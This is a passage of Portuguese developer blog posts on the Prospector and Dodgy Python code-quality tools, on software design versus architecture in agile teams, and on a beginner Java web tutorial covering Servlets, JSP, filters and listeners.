E após o editor resolver as dependências, ele passa a funcionar quase que magicamente.

Exemplo de uso do Prospector + Dodgy + VS Code

Considerações finais

Se você já está cansado de configurar diferentes ferramentas de linting Python, o Prospector pode ser um bom utilitário para manter por perto.

Tenho problemas com a "verbosidade" dele, mas acho que ele funciona bem com editores como o VS Code (por exemplo). Se você quiser ser altamente criterioso em relação ao seu código, vale muito a pena testá-lo em seu processo de pre-commit e durante o build no CI.

Até a próxima.

Referências

Github - prospector

Software Design x Software Architecture

Tue, 07 Jan 2020 16:00:00 GMT

Uma das características que eu mais gosto no agile é o conhecimento compartilhado nos times. E eu não falo apenas dos desenvolvedores generalistas, falo também das responsabilidades que em um modelo mais parecido com o waterfall seriam atribuídas a um indivíduo apenas, mas que no ágil são diluídas na equipe.

Como o time geralmente trabalha em um escopo focado, com quem fica a responsabilidade da arquitetura de toda uma solução? Quem pensa no longo prazo? Na comunicação entre serviços e componentes?

Até onde vai a responsabilidade de design e começa a de arquitetura?

Definição

Fundamentalmente, há distinção entre as disciplinas de software design e software architecture:

Software design: Foca nos aspectos mais "baixo nível" do sistema;
Software architecture: Olha para aspectos mais "alto nível" do sistema.

Calma! Não vamos misturar filosofia e programação. Mas piadas com o The Matrix estão liberadas (rottenmelon.tripod.com)

Mesmo assim, não é raro misturarmos as duas responsabilidades e atribuí-las a um papel só. O que não é necessariamente um problema, já que as disciplinas podem ser encaradas como o mesmo problema em escalas diferentes.

Software Architecture

Definir arquitetura de software é um desafio. O Wikipedia define o termo da seguinte forma:

(...) consiste na definição dos componentes de software, suas propriedades externas, e seus relacionamentos com outros softwares. O termo também se refere à documentação da arquitetura de software do sistema. A documentação da arquitetura do software facilita: a comunicação entre os stakeholders, registra as decisões iniciais acerca do projeto de alto-nível, e permite o reúso do projeto dos componentes e padrões entre projetos.

Eu me dou conta que estou nos "domínios" da arquitetura de software quando estou debatendo as "ilities" de um projeto. Portanto, a definição do Codeburst casa melhor com a minha compreensão sobre o assunto:

In simple words, software architecture is the process of converting software characteristics such as flexibility, scalability, feasibility, reusability, and security into a structured solution that meets the technical and the business expectations. This definition leads us to ask about the characteristics of a software that can affect a software architecture design. There is a long list of characteristics which mainly represent the business or the operational requirements, in addition to the technical requirements.

Portanto, quando há um requisito de produto que demanda rápida adaptação do modelo de negócios, pois a empresa ainda está procurando o seu market fit, a solução poderia ser extensível, modular e de fácil alteração. Essas qualidades possivelmente não se encaixarão em um projeto de perfil mais conservador, como um sistema bancário, por exemplo, que teria como uma provável ility a segurança.

Quem tem que lidar com certificados no cotidiano reza para ter um Keymaker na empresa (reddit.com)

Confira uma lista completa de system quality attributes.

Esses aspectos são de responsabilidade do arquiteto de software de levantar, debater, e de setar como boundaries do projeto em questão. Sem dúvida elas passam a influenciar o design dos componentes que serão construídos durante o tempo de projeto.

O arquiteto

Kostadis Roussos, no breve (mas excelente) "21 architecturalist papers: always be right, right now." define o papel do arquiteto salientando o seguinte atributo:

An architect has visions of the future, and those visions are often years away from delivery, and worse, even more years away from solving any of the immediate problems engineering management has.

Segundo Kostadis, o arquiteto precisa guiar o projeto para a direção correta. Dentro do contexto ágil, sabemos que essa direção pode mudar, mas ainda assim o arquiteto deve ser capaz de se adaptar a essa mudança, mudar o curso, e continuar fazendo com que o projeto siga o caminho certo.

Não é desse arquiteto que estamos falando (quora.com)

Além de ser "high-level o suficiente" para ter a visão do todo, o arquiteto ainda é responsável por gerenciar expectativas de gerentes, diretores, product owners, e até mesmo dos próprios engenheiros. E em relação à engenharia a balança pode ser ainda mais frágil, uma vez que ele deve ser "distante o suficiente" para que um gap criativo seja formado, e que engenharia tenha a oportunidade de inovar.

Então chegamos ao melhor parágrafo do texto de Roussos:

In short, you need to be right, and high-level enough that you can’t be wrong, but if that’s where you end, you fail.

Chris Richardson, no livro Microservices Patterns, estressa um pouco mais sobre a importância desse papel:

Architecture is important because it enables an application to satisfy the second category of requirements: its quality of service requirements. These are also known as quality attributes and are the so-called -ilities. The quality of service requirements define the runtime qualities such as scalability and reliability. They also define development time qualities including maintainability, testability, and deployability. The architecture you choose for your application determines how well it meets these quality requirements.

Padrões e ferramentas

Encontramos alguns estilos já estabelecidos e bem conhecidos de arquiteturas que resolvem combinações de qualidades, como o caso do Monolithic Architecture, Event-Driven (Implicit Invocation) Architecture, e talvez o mais "hypado", Microservices Architecture.

Eles podem fazer uso de um ou mais padrões de arquitetura, como por exemplo, a arquitetura monolítica pode ser composta pelos padrões n-tier e model-view-controller.

Não é só de terno e vis-a-vis que vive um arquiteto (lascimmiapensa.com)

Lista de estilos e padrões de arquitetura de software.

Algumas ferramentas estão disponíveis para auxiliar o arquiteto na tarefa de modelar a solução, bem como de expor determinados detalhes para diferentes tipos de stakeholders. Talvez a top of mind seja a própria UML. Outra opção é o 4 + 1 architectural view model, que é uma espécie de framework que auxilia na separação de diferentes aspectos do sistema em diferentes visões (que podem inclusive utilizar artefatos da UML para os seus propósitos).

As visões são:

Logical view: Preocupa-se com a funcionalidade que o sistema provê para o usuário final. Utiliza diagramas de classe e de estado da UML, e é relevante para desenvolvedores;
Process view: Descreve processos concorrentes dentro de um sistema. Pode englobar requisitos não funcionais, como performance e disponibilidade, e é representado através do diagrama de atividade da UML;
Development view: Foca na ótica do programador, e descreve componentes do sistema. Utiliza o diagrama de componente e de pacote.
Physical view: Descreve a topologia do sistema de uma perspectiva física. Por exemplo, quantos nós são utilizados, o que é "deployado" em cada nó, como escala, etc. Utiliza o diagrama de deploy da UML;
Use case view: Descreve a funcionalidade do sistema da perspectiva do mundo exterior, ou seja, ilustra o que o sistema deveria fazer através de cenários, que são determinantes para identificar elementos da arquitetura e validar design. Utiliza casos de uso da UML, e todas as outras visões utilizam dessa (e de seus cenários) para guiá-las.

Assista à introdução ao 4 + 1 no Coursera.

Para finalizar, outra prática bem interessante é a escrita de Quality Attribute Scenarios, que são requisitos não funcionais, específicos para mensurar a qualidade da sua solução para problemas específicos.

Exemplo de Quality Attributes revisados

Veja mais na excelente aula do Coursera sobre Quality Attributes.

Software Design

O curso Object-Oriented Design, da Universidade de Alberta, define software design da seguinte forma:

The process of planning a software solution, taking the requirements and constraints into account. Divided into higher-level conceptual design and more specific technical design.

O foco está em pensar na solução para um problema específico, projetando detalhes de um determinado componente e suas responsabilidades, e utilizando de artefatos que ajudem no debate com a camada mais próxima de negócios (high-level, mais conceitual) e mais próxima de implementação (low-level, técnica).

Um viva para o designer da Mulher de Vermelho (ballardwachowskiproject.wordpress.com)

Esse passo tem presença constante no início das iterações no modelo iterativo/incremental, e pode ser desempenhado por diferentes papéis dentro de um time (naturalmente, com envolvimento dos desenvolvedores).

Design conceitual

Partimos do princípio que tudo origina-se de um requisito:

Quero ver a minha lista de músicas favoritas.

Requisitos podem ser "funcionais" (como o exemplo acima), ou "não funcionais" (como o exemplo de "ilities" da seção anterior). Quando falamos de design conceitual, geralmente nos referimos ao primeiro tipo, e através de discussões mais próximas do problema exploramos soluções.

Nessa etapa é comum lidar com ferramentas, preferencialmente de baixo custo e fácil alteração, que consigam "traduzir" a solução sendo discutida em artefatos visuais, como por exemplo:

Diagramas de alto nível: Para exemplificar relacionamentos entre o usuário, interface e demais componentes (não técnico);
Wireframes: Para discutir elementos em uma interface de usuário;
Protótipos: Para demonstrar comportamentos;
Mockups: Para refletir decisões de design como cores, layouts, tipografia, interações, etc.

Uma outra forma de debatermos requisitos sob uma ótica conceitual é através da construção de user stories. Com elas, podemos tomar algumas liberdades para sermos mais específicos sobre as necessidades e expectativas que precisam ser atendidas:

Eu como um usuário autenticado,
Quero poder visualizar as minhas músicas favoritas,
Para que eu consiga ouví-las com facilidade e maior frequência.

Design técnico

Com o design técnico, estamos enfim discutindo aspectos voltados à "solução prática". Mas nem por isso deixamos de ser expostos a abstrações, como por exemplo, se você estiver utilizando OOP:

Diagrama de Entidade e Relacionamento (ER): Caso você esteja partindo da ótica do seu banco de dados;
UML: Caso você queira esquematizar relacionamentos e ciclo de vida dos seus componentes;
Cartões CRC: Uma alternativa mais "barata" ao UML, útil para descrever relacionamentos entre entidades.

Ainda utilizando o contexto de orientação a objetos, outro tópico que pode aparecer nesse momento são os Design Patterns. No caso da construção de APIs, uma possibilidade é a construção do contrato via Swagger file. Enfim, estamos mais próximos de ideias e artefatos que representem de fato o sistema.

Existem ferramentas que te permitem abstrair todo aquele caractere verde escorrendo pelo seu monitor (reddit.com)

Independente de qual estilo de programação você esteja usando, ou de qual região da aplicação você esteja desenvolvendo, é nesse momento que acontecem discussões sobre os trade-offs entre as qualidades (code quality, security, usability, performance, time to market, etc) definidas pelo contexto do seu projeto, bem como outros requisitos não funcionais, e como isso impactará o design (e se o mesmo precisa ser alterado para encontrar o balanço ideal).

Onde cada um se encaixa?

Não é difícil imaginar o papel de design sendo exercido no início de cada iteração, ou em plannings e groomings. Além disso, ter essa responsabilidade diluída no time é natural em um contexto multidisciplinar.

Ele pode acontecer também "ahead of time". Por exemplo, participei de projetos dos quais os "UXizes" estavam alguns sprints na frente, em relação aos desenvolvedores. Algumas decisões de design são tomadas com antecedência, e os resultados são apresentados ao longo do tempo de vida do projeto.

Já a arquitetura pode exigir um pouco mais de organização e criatividade. Já tive diferentes experiências com esse dilema "agile x software architecture":

Todo mundo é arquiteto: É o mesmo princípio do marco de design ilustrado acima. Comum em startups e empresas relativamente pequenas;
A gerência é o arquiteto: Pode acontecer de gerentes técnicos, team leads, ou CTOs "herdarem" essa responsabilidade. Outro cenário comum em startups;
Um arquiteto por time: O papel é atribuído a um grupo de pessoas que compartilha uma visão em comum, e essas transitam entre os times afim de manter a visão coesa. "Casa" com a proposta de squads, chapters e tribes do Spotify;
Um time de arquitetos: O mesmo fenômeno que pode acontecer com UI/UX. Nesse caso temos um time específico para arquitetura, com seu próprio processo e backlog, e ele acaba colaborando com os demais times.

E quando ela deve ser exercida pode ser outro desafio. Miguel Arlandy sugere o seguinte processo no "Software Architecture and Agile. Are they both really compatible?":

(...) As a rule, it would be recommended to do some upfront design at the beginning of the project (Sprint Zero?) and before the first iteration. Besides, we should include an “Architecture review” as part of the Definition of Done (DoD) in each user story. Of course within the Sprint Planning, this fact has to be taken into account. It would be worthwhile if at least one of the team members (if not all of them) will be accountable to ensure both product development and Architecture are aligned.

Uma das possíveis respostas para as perguntas do início desse post é o conceito de Agile Architecture, usado pelo SAFe Framework:

(...) is a set of values, practices, and collaborations that support the active, evolutionary design and architecture of a system. This approach embraces the DevOps mindset, allowing the architecture of a system to evolve continuously over time, while simultaneously supporting the needs of current users. It avoids the overhead and delays associated with the start-stop-start nature and large-scale redesign inherent with phase-gate processes and Big Up Front Design (BUFD).

Onde, resumidamente, inicia-se com um pouco de upfront design que é retroalimentado pelos feedbacks, design e decisões futuras dos times autônomos.

Exemplo de regulação entre arquitetura e design (medium.com)

Desse modo, teoricamente, é possível ter uma referência sólida de arquitetura, e ainda assim abrir espaço para inovação e alterações nessa referência. Outro aspecto interessante desse modelo é que é possível imaginá-lo com a proposta de squads do Spotify.

Considerações finais

Acredito que o agile e sua comunidade amadureceram o suficiente para compreender que alguns papéis mais "tradicionais" do desenvolvimento de software precisam ser integrados à sua dinâmica. Quando em uma startup, em que ainda é possível se ter a "visão do todo", é completamente natural que engenheiros/desenvolvedores assumam responsabilidades de design e arquitetura. Mas em um contexto mais "enterprise", além de difícil, consome-se muito tempo "tentando tirar a cabeça da areia" e olhar em volta, principalmente se o processo esteja montado em torno de times autônomos.

Independente de quem desempenhe tais papéis, essa característica "iterativa/incremental" que conceitos como o Agile Architecture trazem são bem interessantes, e combinam completamente com os valores que desenvolvedores de software mais se identificam quando adotando ferramentas ágeis.

Até a próxima.

Referências

Assegure a qualidade do seu código Python - Dodgy

Wed, 18 Dec 2019 08:10:00 GMT

Ferramentas de qualidade de código parece um tópico com conteúdo infinito quando o assunto é Python. Hoje a dica é rápida e rasteira, de uma ferramenta extremamente simples, mas que pode ser muito útil para dar aquele "up" no quesito segurança do seu projeto. Apresento-lhe o Dodgy!

Talk is cheap...

Tudo começa com o nosso queridíssimo comando pip install:

$ pip install dodgy

E na sequência, com a execução do utilitário via terminal:

$ cd ~/hello-world-em-django/
$ dodgy
{
    "warnings": [
        {
        "path": "hello_world/settings.py",
        "line": 23,
        "code": "secret",
        "message": "Possible hardcoded secret key"
        }
    ]
}

O Dodgy é uma ferramenta de código aberto, que tem por objetivo utilizar expressões regulares para inspecionar o seu código e identificar problemas como diffs esquecidos nos arquivos, senhas expostas, e secrets (como o exemplo acima) sendo "commitados". A biblioteca é extremamente simples, e caso você não goste do "barulho" que o Bandit faz, pode ser uma alternativa.

Desvia disso! (vulturehound.co.uk)

E claro, podemos utilizá-la com o pre-commit. Adicione o seguinte snippet ao .pre-commit-config.yaml do seu projeto:

repos:
- repo: https://github.com/kplaube/pre-commit-dodgy
    rev: "0.0.1"
    hooks:
    - id: dodgy

Podemos utilizá-la nos editores também. Ganhamos o utilitário "de graça" com o uso do Prospector.

Considerações finais

Para quem está dando os primeiros passos em direção a um controle mais apurado de um projeto, o Dodgy pode ser uma boa pedida. Mas na realidade, se você está querendo de fato maior segurança, vá para o Bandit, sem medo de ser feliz.

Ou utilize o Prospector e tenha os dois à disposição ¯\_(ツ)_/¯

Até a próxima.

Engatinhando em Java para a web - Parte 3

Tue, 10 Dec 2019 13:50:00 GMT

No post anterior falamos sobre a especificação Servlet, bem como sobre o uso de JavaServer Pages e Expression Language. Para finalizar o protótipo proposto, e encerrar essa introdução ao Java, precisamos implementar o método POST, e durante esse percurso abordaremos os conceitos de filters e listeners.

doGet e doPost

Recaptulando o protótipo: Precisamos implementar a funcionalidade de adicionar uma tarefa ao todo list.

Se continuar no Python é ficar na Matrix, pode me deixar lá (filmfoodsafari.wordpress.com)

Se inspecionarmos o método service da classe HttpServlet, veremos que ele já se encarrega de determinar qual verbo HTTP está sendo utilizado pela requisição. Portanto, ao invés de sobrescrevê-lo, é mais eficiente implementarmos os métodos nos quais queremos suportar.

Renomeie o método service para doGet, e crie um método vazio para o doPost:

@WebServlet(urlPatterns = "")
public class OlaMundoServlet extends HttpServlet {
    List<Tarefa> tarefas = new ArrayList<>() {
        {
            add(new Tarefa("Tarefa A"));
            add(new Tarefa("Tarefa B"));
            add(new Tarefa("Tarefa C"));
        }
    };

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        req.setAttribute("tarefas", tarefas);

        RequestDispatcher rd = req.getRequestDispatcher("/WEB-INF/index.jsp");
        rd.forward(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {

    }
}

Note a alteração em List<Tarefa> tarefas.

Com a seguinte adição de código ao método doPost temos um protótipo que atinge o seu objetivo:

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    final Tarefa tarefa = new Tarefa(req.getParameter("nome"));
    tarefas.add(tarefa);

    req.setAttribute("tarefas", tarefas);
    RequestDispatcher rd = req.getRequestDispatcher("/WEB-INF/index.jsp");
    rd.forward(req, resp);
}

Executando o Maven (mvn clean tomcat7:run), e através do endereço http://localhost:8080, somos capazes de ver o resultado:

Exemplo de POST

Ao analisar o código acima, além das possibilidades de melhoria de código (como reaproveitar o req.getRequestDispatcher("/WEB-INF/index.jsp") ao invés de duplicá-lo, ou fazer um redirect), há algo muito importante que precisa ser salientado: Servlets não são "thread safe".

Don't repeat yourself

Segundo o material da Caelum:

De acordo com a especificação de Servlets, por padrão, existe uma única instância de cada Servlet declarada. Ao chegar uma requisição para a Servlet, uma nova Thread é aberta sobre aquela instância que já existe.

Isso significa que, se colocássemos em nossa Servlet uma variável de instância, ela seria compartilhada entre todas as threads que acessam essa Servlet! Em outras palavras, seria compartilhado entre todas as requisições e todos os clientes enxergariam o mesmo valor. Provavelmente não é o que queremos fazer.

Nosso protótipo está pronto, e a brincadeira com o atributo de instância nos permitiu interagir com o método POST.

Se quisermos seguir em frente e tornar a aplicação mais "production ready", outros aspectos terão que ser considerados, como persistência, segurança, validação de dados, modularidade, e não podemos esquecer desses detalhes como a natureza multithreading que envolve o Java.

Fazer algo funcionar na plataforma JavaEE parece como a Trinity acertando um agente em Matrix (vulturehound.co.uk)

E se nesse momento você ainda está disposto a fazer isso "all by yourself", reconsidere. Para fins de aprendizado, esse tipo de experimento é ótimo mas nada produtivo, portanto, considere o uso de algum framework.

Para finalizar: Filters & Listeners

Mas calma! Há dois tópicos que valem a pena ser compreendidos antes de pular para o uso de algum framework.

Diretamente de uma thread do StackOverflow:

Servlet Filter is used for monitoring request and response from client to the servlet, or to modify the request and response, or to audit and log.

Servlet Listener is used for listening to events in a web containers, such as when you create a session, or place an attribute in an session or if you passivate and activate in another container, to subscribe to these events you can configure listener in web.xml, for example HttpSessionListener.

Em outras palavras:

Filtros: Usados para interagir com a requisição e com a resposta.
Listeners: Usados para interagir com eventos que acontecem dentro de um container.

Filters

Assim como a interface Servlet, possuímos uma interface para a escrita de filtros. O propósito do filtro abaixo é "logar" o endereço IP do usuário que está realizando a requisição:

// src/main/java/webapp/LogFilter.java
package webapp;

import java.io.IOException;
import java.util.Date;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;

@WebFilter("/*")
public class LogFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        // vazio
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException,
            ServletException {
        String ipAddress = request.getRemoteAddr();
        String now = new Date().toString();

        System.out.println(String.format("IP: %s; Time: %s", ipAddress, now));

        chain.doFilter(request, response);
    }
}

Com o uso da annotation WebFilter, dizemos que queremos aplicar o filtro para todas as requisições (/*). A annotation também é responsável por não precisarmos tocar no arquivo web.xml, e temos o filtro funcionando a partir do momento que reiniciamos o Tomcat.

Com Filter agora temos a capacidade de aplicar de uma maneira mais modular conceitos como cache, compactação da resposta, controle de sessão, segurança, entre outros.

Listeners

A necessidade de filtros fica bem evidente, principalmente quando estamos acostumados com estruturas como a do Django. Possivelmente a necessidade dos listeners exija um pouco mais de criatividade de nossa parte. O JavaTPoint pode ajudar:

If you want to perform some action at the time of deploying the web application such as creating database connection, creating all the tables of the project etc, you need to implement ServletContextListener interface and provide the implementation of its methods.

Perfeito! Para ilustrar como interagir com os (context) listeners, temos o código abaixo:

// src/main/java/webapp/MyListener.java
package webapp;

import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class MyListener implements ServletContextListener {
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        System.out.println("Imagine que estamos setando um pool de conexões com o banco de dados");
    }

    @Override
    public void contextDestroyed(ServletContextEvent sce) {
        System.out.println("Imagine que estamos fechando o pool de conexões com o banco de dados");
    }
}

Ao iniciar a aplicação, temos:

$ mvn tomcat7:run
[INFO] Scanning for projects...
(...)
INFO: Starting Servlet Engine: Apache Tomcat/7.0.47
Imagine que estamos setando um pool de conexões com o banco de dados

E quando finalizamos a aplicação:

Imagine que estamos fechando o pool de conexões com o banco de dados

E além de fechar o pool de conexões, fechamos também a parte de Servlets dessa série. Fica uma clara impressão de que grande parte do que precisamos para desenvolver uma plataforma web já é oferecida pela versão atual do Java Enterprise Edition.

Antes de ir: O lado "agente Smith" da força

E aqui chegamos ao fim dessa nossa saga cobrindo aspectos do Java EE. Ainda que faltem tópicos considerados relevantes, como o EJB, JSF ou JPA, cobrimos outros tantos que fazem parte da especificação.

Seja a resistência! Lute contra os engravatados (antagonist.wikia.com)

Especificação essa que, além de ter como proposta proporcionar tecnologias para um ambiente mais enterprise, possui outras vantagens, como por exemplo, a premissa de evitar o vendor lock-in.

Mas ao contrário do que você possa pensar, e do que eu acreditava até pouco tempo atrás, não seguir essas especificações é uma possibilidade. De fato, algumas comunidades vem desafiando essas "regras" e apresentando soluções elegantes e inovadoras dentro do ecossistema Java desde muito tempo. Talvez a mais relevante delas sendo a do Spring:

Spring came into being in 2003 as a response to the complexity of the early J2EE specifications. While some consider Java EE and Spring to be in competition, Spring is, in fact, complementary to Java EE. The Spring programming model does not embrace the Java EE platform specification; rather, it integrates with carefully selected individual specifications from the EE umbrella.

Inclusive, em um mundo cada vez mais "microservices-driven", seguir completamente essas especificações torna-se questionável, como ilustra Rod Johnson em sua palestra Eighteen Years of Spring.

E é com o Spring que no próximo artigo experimentaremos esse lado "rebelde" e, sem dúvida, mais divertido, do desenvolvimento web com Java. Mas se você quiser continuar em um ambiente mais enterprise: Glassfish, WildFly e Geronimo; podem ser os próximos passos.

Considerações finais

E mais uma vez, embora possa ser tentador cair na discussão "Spring x Java EE", Siva Prasad deixa essa pérola no artigo "A developer's perspective on Spring vs. Java EE":

As an enthusiastic Java developer I read the Spring vs JavaEE discussions hoping there might be few things which I don't know such as "in which areas one is better than the other". But I find 70% of discussions goes on lame arguments which is not very interesting to me.

Ter uma noção de como funciona a plataforma EE do Java é benéfico, embora eu admita que não seja lá muito divertido.

Até a próxima.

Referências

Engatinhando em Java para a web - Parte 2

Mon, 02 Dec 2019 09:15:00 GMT

No post anterior demos uma breve pincelada sobre JDK, JRE, JSE e JEE. Uma vez que temos a infrastrutura funcionando para os fins desse artigo, através do uso de Maven e Tomcat, vamos partir para uma abordagem mais prática, e finalmente falar sobre os famosos Servlets.

Mas antes de continuar, um breve disclaimer.

Disclaimer

Recebi alguns feedbacks sobre o artigo anterior, questionando sobre a abordagem em relação a Servlets, JavaServer Pages e até mesmo ao Tomcat e Maven. Existem escolhas mais "sexy" (principalmente aos três últimos citados), e que em relação ao Servlets a escolha mais natural seria a adoção de algum framework que abstraia todo esse "javanês" (como SpringBoot ou Play).

Continuamos a trair o movimento assim como o Saruman fez em LOTR (sott.net)

A narrativa dessa série de artigos tem justamente a intenção de ilustrar que em um primeiro momento, Java para web pode parecer obsoleto, mas que com o progredir dos posts novas tecnologias serão apresentadas e que por fim, é possível sim ter um ambiente deveras moderno e prático.

Estamos "engatinhando", afinal...

Obrigado pelos feedbacks :)

Servlets

Servlet pode ser comparado ao Common Gateway Interface (CGI), onde há um "acordo" o servidor web ou de aplicação, e a sua aplicação. As definições podem vir das mais variadas formas:

É uma tecnologia usada para a criação de aplicações web em Java.
É uma API que disponibiliza classes, interfaces e documentação necessárias para tal operação.
É uma classe que estende as capacidades de servidores e reage à requisições (de qualquer tipo).
É um componente web que cria páginas dinâmicas para a web.

Mas talvez a melhor definição venha (novamente) da apostila de Java para web da Caelum:

Uma primeira ideia da servlet seria que cada uma delas é responsável por uma página, sendo que ela lê dados da requisição do cliente e responde com outros dados (uma página HTML, uma imagem GIF etc). Como no Java tentamos sempre que possível trabalhar orientado a objetos, nada mais natural que uma servlet seja representada como um objeto a partir de uma classe Java.

Neha Vaidya descreve de forma simples e didática o ciclo de vida de um servlet em uma thread do Quora, no qual vou traduzir abaixo:

Quando o servidor web (ex.: Apache Tomcat) inicia, o servlet container "deploia" e carrega todos os Servlets;
O servlet é inicializado chamando o método init(). O método Servlet.init() é chamado pelo servlet container para indicar que essa servlet instance foi iniciada com sucesso e está pronta para responder;
O servlet então chama o método service() para processar uma requisição do cliente;
O servlet é terminado ao chamar o método destroy();
Então o destroy(), executado no fim do ciclo de vida do servlet sinaliza o fim da servlet instance.

Diagrama ilustrando o ciclo de vida de um servlet (javatpoint.com)

init e destroy são chamados apenas uma vez. Por fim, o servlet é coletado pelo gargabe collector da JVM.

Um pouco de prática

Dentro do contexto da linguagem Java, a Servlet também é uma Interface. No nosso escopo, falando de desenvolvimento web, usaremos uma implementação mais especializada para trabalhar com o protocolo HTTP, chamada HttpServlet.

Voltando ao projeto ola-mundo, criado no artigo anterior, vamos adicionar a servlet API como dependência do projeto. Antes do nó <build>, acrescente o seguinte:

<properties>
    <maven.compiler.source>11</maven.compiler.source>
    <maven.compiler.target>11</maven.compiler.target>
</properties>

<dependencies>
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>javax.servlet-api</artifactId>
        <version>4.0.1</version>
        <scope>provided</scope>
    </dependency>
</dependencies>

Altere o maven.compiler.source para a versão do Java que você estiver utilizando no momento.

Na sequência, crie o pacote onde escreveremos a classe:

$ mkdir -p src/main/java/webapp

Uma vez na pasta, crie o arquivo OlaMundoServlet.java com o seguinte conteúdo:

// src/main/java/webapp/OlaMundoServlet.java
package webapp;

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(urlPatterns = "/servlet")
public class OlaMundoServlet extends HttpServlet {

    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter out = resp.getWriter();

        out.println("<html>");
        out.println("<body>");
        out.println("<h2>Hello World! (from servlet)</h2>");
        out.println("</body>");
        out.println("</html>");
    }
}

Execute novamente o comando mvn clean tomcat7:run, e acesse o endereço http://localhost:8080/servlet. Bingo!

Exemplo utilizando Servlet

Mais razão, menos magia

A partir da especificação Servlet 3, é possível utilizar annotations para configurar o deployment do servlet. Com essa forma mais "programática" não é necessário alterar o arquivo WEB-INF/web.xml, e o resultado final fica (na minha opinião) mais prático de ser gerenciado.

Vemos aqui Gandalf claramente desfrutando do seu vício em Java (greenide.com)

Com a anotação @WebServlet mapeamos um nome e rota específicos (/servlet) ao servlet em questão. O servlet container irá reconhecê-lo e fará a ligação entre rota e classe Java.

Há mais vantagens (e annotations) disponíveis com essa versão da especificação. Para saber mais, o "An Overview of Servlet 3.0", do site DZone, traz um breve resumo.

JavaServer Pages

Você deve estar se perguntando: De onde veio aquele "Hello World!", do endereço http://localhost:8080/?

Ele veio do arquivo index.jsp:

$ cat src/main/webapp/index.jsp

<html>
<body>
<h2>Hello World!</h2>
</body>
</html>

Segundo o Wikipedia:

JavaServer Pages (JSP) is a collection of technologies that helps software developers create dynamically generated web pages based on HTML, XML, SOAP, or other document types. (...) JSP is similar to PHP and ASP, but it uses the Java programming language.

To deploy and run JavaServer Pages, a compatible web server with a servlet container, such as Apache Tomcat or Jetty, is required.

Na prática, JSP é uma abstração de servlet. Os arquivos JSP são traduzidos em servlets durante o runtime, resultando em algo similar com o que fizemos ao escrever o nosso próprio:

$ cat target/tomcat/work/Tomcat/localhost/_/org/apache/jsp/index_jsp.java

package org.apache.jsp;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;

public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent {

    (...)

    public void _jspInit() {
        (...)
    }

    public void _jspDestroy() {
    }

    public void _jspService(final javax.servlet.http.HttpServletRequest request,
                            final javax.servlet.http.HttpServletResponse response)
            throws java.io.IOException, javax.servlet.ServletException {

        (...)

        out.write("<html>\n");
        out.write("<body>\n");
        out.write("<h2>Hello World!</h2>\n");
        out.write("</body>\n");
        out.write("</html>\n");

        (...)
    }
}

Estamos em 2019, e já estamos cansados de saber que misturar HTML com sua regra de negócios não é uma boa ideia. Uma alternativa seria alterar o servlet que escrevemos e utilizar o JSP como uma espécie de "template engine". Paramos de imprimir HTML e deixamos a linguagem lidar com esse tipo de trabalho (~mais ou menos o que se faz usando JSX~):

// src/main/java/webapp/OlaMundoServlet.java
package webapp;

import java.io.IOException;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(urlPatterns = "/servlet")
public class OlaMundoServlet extends HttpServlet {

    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        RequestDispatcher rd = req.getRequestDispatcher("/index.jsp");
        rd.forward(req, resp);
    }
}

É isso mesmo o que você está lendo: Redirecionamos a requisição do "nosso servlet" para o JSP (que também é um servlet). Respeitamos a especificação e conseguimos dividir as responsabilidades. Não aparenta ser bonito, mas pelo menos por hora já conseguimos separar o que é o nosso controlador do que é a nossa visualização.

Traçando nova rota

O index.jsp ainda está acessível através do endereço /. Para ocultá-lo do acesso público, mova-o para a pasta WEB-INF:

$ mv src/main/webapp/index.jsp src/main/webapp/WEB-INF

Ao executar o Tomcat novamente, ambos endereços (/ e /servlet) devem apresentar uma resposta 404 agora (já que o recurso público index.jsp não existe mais). Na annotation @WebServlet, altere o path para fazê-lo virar a index da aplicação:

@WebServlet(urlPatterns = "")

O próximo passo agora é dizer para o RequestDispatcher a nova localização do index.jsp:

RequestDispatcher rd = req.getRequestDispatcher("/WEB-INF/index.jsp");

Reinicie o Tomcat (mvn clean tomcat7:run) e acesse o http://localhost:8080.

Funciona!

Deixando um pouquinho mais dinâmico

Com o que temos aqui já é possível prototipar uma aplicação simples. Vamos imaginar uma lista de tarefas (such a cliché!), onde eu tenho um campo para adicionar uma tarefa e uma lista com as mesmas logo abaixo. Para deixar tudo simples, vamos continuar com o projeto ola-mundo.

Altere o index.jsp para o seguinte código HTML:

<html>
  <body>
    <h2>TODO list</h2>

    <form action="" method="post">
      <label>
        Tarefa:
        <input type="text" name="nome" required />
      </label>

      <input type="submit" value="Salvar" />
    </form>
    <ul>
      <li>Tarefa</li>
    </ul>
  </body>
</html>

Fica óbvio que precisaremos de um elemento que represente uma tarefa. Se formos por uma abordagem MVC, faria sentido categorizar esse elemento como um modelo:

$ mkdir -p src/main/java/webapp/modelo
$ touch src/main/java/webapp/modelo/Tarefa.java

A classe será muito simples:

// src/main/java/webapp/modelo/Tarefa.java
package webapp.model;

public class Tarefa {
    protected String nome;

